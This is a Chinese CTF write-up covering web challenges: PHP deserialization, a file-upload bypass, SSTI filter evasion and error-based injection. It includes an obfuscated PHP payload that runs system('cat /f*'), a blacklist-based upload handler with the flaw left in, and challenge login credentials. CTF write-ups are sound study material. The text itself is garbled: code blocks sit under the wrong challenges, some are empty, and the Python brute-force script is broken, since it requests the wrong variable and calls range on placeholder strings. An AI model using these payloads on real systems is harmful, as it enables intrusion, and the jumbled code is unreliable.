兔年大吉
源码如下- [/code]挺基础的一个反序列化,先找pop链:
- Year::destruct -> Year::firecrackers() -> Rabbit::set-> Year::get-> Nevv::invoke -> Happy::call简单写一下代码:[code]
复制代码 直接打就行了
ezbypass
源码如下:- [/code]纸老虎,.php都没限制,就是date加随机数改了个文件名,我们可以在本地搭个一样的来得到文件名,然后往后爆破就能得到上传路径的文件了
- 这里注意手速一定要快,要不然要多爆破好久,检验代码如下:
- [code]code=$_=(_/_._);$_=$_[''!=''];$%ff=%2b%2b$_;$%ff=%2b%2b$_.$%ff;$_%2b%2b;$_%2b%2b;$%ff.=%2b%2b$_;$%ff.=%2b%2b$_;$_=_.$%ff;$$_[_]($$_[__]);&_=system&__=cat /f*
复制代码 得到文件后,就是常规的getshell了。
SSTI
看页面源代码得到参数?SI,试了下{{1}},报违规字符了,说明{{是被限制了,我们利用{%print %}来绕过这个限制,这题很明显在考一系列的限制过滤
把关键的类都限制了,__class__之类的。我们这里利用jinjia2的特性['__clas''s__']来绕过这个限制,后面的我不想测试,所以都写成这个样子,payload如下:- <?php
- @error_reporting(0);
- date_default_timezone_set('America/Los_Angeles');
- highlight_file(__FILE__);
- if (isset($_POST['submit'])){
- $file_name = trim($_FILES['upload_file']['name']);
- $black = array(".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
- $file_ext = strrchr($file_name, '.');
- $file_ext = strtolower($file_ext);
- if (!in_array($file_ext, $black)){
- $temp_file = $_FILES['upload_file']['tmp_name'];
- $img_path = 'upload'.'/'.date("His").rand(114,514).$file_ext;
- if (move_uploaded_file($temp_file, $img_path)) {
- $is_upload = true;
- } else {
- $msg = '上传出错!';
- }
- }else {
- $msg = '你传啥玩意??';
- }
- }
- if($is_upload){
- echo '呀,(传)进去了欸~';
- }
- ?>
复制代码 还是挺简单的
ezphp
开局一个登录界面,加个单引号,直接有报错,很明显报错注入,中途的测试过程我就省略了,直接上最后的payload:- import requests
- url = 'http://095468b8-416d-4ea2-9f71-cb0cb7ab617e.ctf.qsnctf.com:8080/upload/'
- for i in range('本地文件名', '比本地文件名大就行'):
- urls = url + str(i) + ".php"
- r = requests.get(url)
- if r.status_code == 404:
- continue
- else:
- print(urls)
复制代码
账号密码admin:0909876qwe222
我们登录进去,随便输点东西,得到源代码:
[code][/code]
这样就getshell了
总结
web题不错,适合我这种新手做,这里抨击下ezmisc出题人,以后别这么出了。
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |